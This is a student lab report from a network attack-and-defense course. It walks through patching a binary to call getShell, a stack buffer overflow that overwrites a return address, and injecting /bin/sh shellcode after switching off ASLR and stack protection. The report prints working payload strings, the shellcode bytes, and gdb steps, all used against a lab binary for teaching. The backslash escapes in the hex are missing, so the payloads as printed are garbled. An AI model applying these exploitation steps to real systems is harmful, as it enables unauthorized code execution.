2019-2020-2 20175212童皓桢《网络对抗技术》 Exp1 PC平台逆向破解

2019-2020-2 20175212童皓桢《网络对抗技术》

Exp1 PC平台逆向破解

本实验的三个实践内容为：
1、手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
2、利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
3、注入一个自己制作的shellcode并运行这段shellcode。
分别对应现实攻击中的：
1.运行原本不可访问的代码片段
2.强行修改程序执行流
3.注入运行任意代码。

2. 实验内容

2.1 直接修改程序机器指令，改变程序执行流程

知识要求：Call指令，EIP寄存器，指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具
学习目标：理解可执行文件与机器指令
进阶：掌握ELF文件格式，掌握动态技术
具体步骤：
- 利用共享文件夹，得到老师提供的pwn1文件。利用objdump -d pwn1 | more命令进行反汇编，分页显示得到以下结果：
- 图中地址为080484并的指令为call 8048491
  - 是说这条指令将调用位于地址8048491处的foo函数；
  - 其对应机器指令为“e8 d7ffffff”，e8即跳转之意。
    - 本来正常流程，此时此刻EIP的值应该是下条指令的地址，即80484ba，但如一解释e8这条指令呢，CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41，41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值。
- main函数调用foo，对应机器指令为“e8 d7ffffff”
  - 那我们想让它调用getShell，只要修改“d7ffffff”为，"getShell-80484ba"对应的补码就行。
  - 用Windows计算器，直接 47d-4ba就能得到补码，是c3ffffff。
- 下面我们就修改可执行文件，将其中的call指令的目标地址由d7ffffff变为c3ffffff。
  - 用cp pwn1 pwn2复制文件，保留修改前文件；之后用vi编辑pwn2
  - 由于可执行文件已被汇编为机器代码，我们无法看懂（如下图）。因此我们在vi中输入Esc+:%!xxd将它切换为16进制显示
  - 输入/e8 d7，查找该代码的位置
  - 修改d7为c3
  - 用命令:%!xxd -r转换16进制为原格式，之后存盘退出vi
  - 输入objdump -d pwn2 | more反汇编一下，call指令已经调用getShell
  - 运行pwn2，得到shell提示符#

2.2 通过构造输入参数，造成BOF攻击，改变程序执行流

知识要求：堆栈结构，返回地址
学习目标：理解攻击缓冲区的结果，掌握返回地址的获取
进阶：掌握ELF文件格式，掌握动态技术
步骤：

输入objdump -d pwn1 | more反汇编pwn1
- 函数getShell，我们的目标时触发这个函数
- 该可执行文件正常运行时调用函数foo，这个函数有Buffer overflow漏洞
- 这里读入字符串，但系统只预留了32字节的缓冲区。
- 上面的call调用foo,同时在堆栈上压上返回地址值:80484ba
确认输入字符串哪几个字符会覆盖到返回地址
- 使用命令gdb pwn1调试程序
- 输入试探性的字符串1111111122222222333333334444444412345678，发生段错误产生溢出
- 使用info r查看寄存器eip，发现堆栈上的返回地址已被修改
确认用什么值来覆盖返回地址
- 我们将之前已经得到的，getShell的地址0x0804847d，将其后面替换掉。
- 由于是小端模式，我们输入11111111222222223333333344444444x7dx84x04x08
构造输入字符串
- 由为我们没法通过键盘输入x7dx84x04x08这样的16进制值，所以先生成包括这样字符串的一个文件。
- x0a表示回车，如果没有的话，在程序运行时就需要手工按一下回车键。
- 我们输入命令perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input来生成该文件。
- 用16进制查看指令xxd查看input文件
- 通过管道符|，将input文件作为pwn1的输入

2.3 注入Shellcode并执行

准备一段Shellcode
- 知识要求
  - shellcode就是一段机器指令（code）
    - 通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe）
    - 所以这段机器指令被称为shellcode。
    - 在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。

准备工作

使用命令apt-get install execstack命令安装execstack软件包

之后执行如下命令段

root@20175212thz:/home/kali/20175212thz/exp/exp1# execstack -s pwn1	//设置堆栈可执行
root@20175212thz:/home/kali/20175212thz/exp/exp1# execstack -q pwn1	//查询文件的堆栈是否可执行
X pwn1
root@20175212thz:/home/kali/20175212thz/exp/exp1#  more /proc/sys/kernel/randomize_va_space
2
root@20175212thz:/home/kali/20175212thz/exp/exp1# echo "0" > /proc/sys/kernel/randomize_va_space	//关闭地址随机化
root@20175212thz:/home/kali/20175212thz/exp/exp1# more /proc/sys/kernel/randomize_va_space
0

在这里插入图片描述

构造要注入的payload
- Linux下有两种基本构造攻击buf的方法：
  - retaddr+nop+shellcode
  - nop+shellcode+retaddr
- 因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面。
- 简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边
- 我们这个buf够放这个shellcode了
- 结构为：nops+shellcode+retaddr。
  - nop一为是了填充，二是作为“着陆区/滑行区”。
  - 我们猜的返回地址只要落在任何一个nop上，自然会滑到我们的shellcode
- 首先利用十六进制编辑指令perl构造一个字符串，写入到input_shellcode文件中用作文件执行时的输入。在这段字符串中，末尾的x4x3x2x1会覆盖到堆栈上的返回地址。（注意最后一个字符不要设置成x0a，否则会影响接下来的操作）
```
perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3
x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
```
- 接下来我们来确定x4x3x2x1到底该填什么
  - 打开一个终端注入这段攻击buf：
```
(cat input_shellcode;cat) | ./pwn   //注意这时先不要按回车，否则后续找不到该进程
```
  - 用gdb调试pwn1，由下图知进程号为5048
  - 输入attch5048调试
  - 输入disassemble foo查看到ret的地址为0x080484ae
  - 输入break *0x080484ae在0x080484ae处设置断点。
  - 在之前的终端中按下回车，然后在调试的终端中输入c继续运行。
  - 输入info r esp查看栈顶指针所在的位置，并查看改地址存放的数据：
  - 以上可以发现，0xffffd6dc存放的数据就是01020304，即找到了返回地址。shellcode地址就是 0xffffd6dc+4，即0xffffd6e0.
- 最后修改注入地址即可
  - 修改命令为：
```
perl -e 'print "A" x 32;print "xe0xd6xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
```
  - 执行命令(cat input_shellcode;cat) | ./pwn1，攻击成功，行使shell功能。

3、答老师问

3.1 实验收获与感想

本次实验主要在汇编的层面进行操作，也是第一次接触，相较于sql注入这种攻击方式算是更加底层的方法。第一次实验操作难度上不会很大，也是得益于老师细致的讲解指导以及学长、同学们的线上相助，遇到的问题也总能及时解决。这次实验使我对于缓冲区溢出攻击有了更加直观，细致的认识，学会了如何从汇编代码入手分析进行攻击。总之在发现问题和解决问题的路上受益良多，望今后也能如此。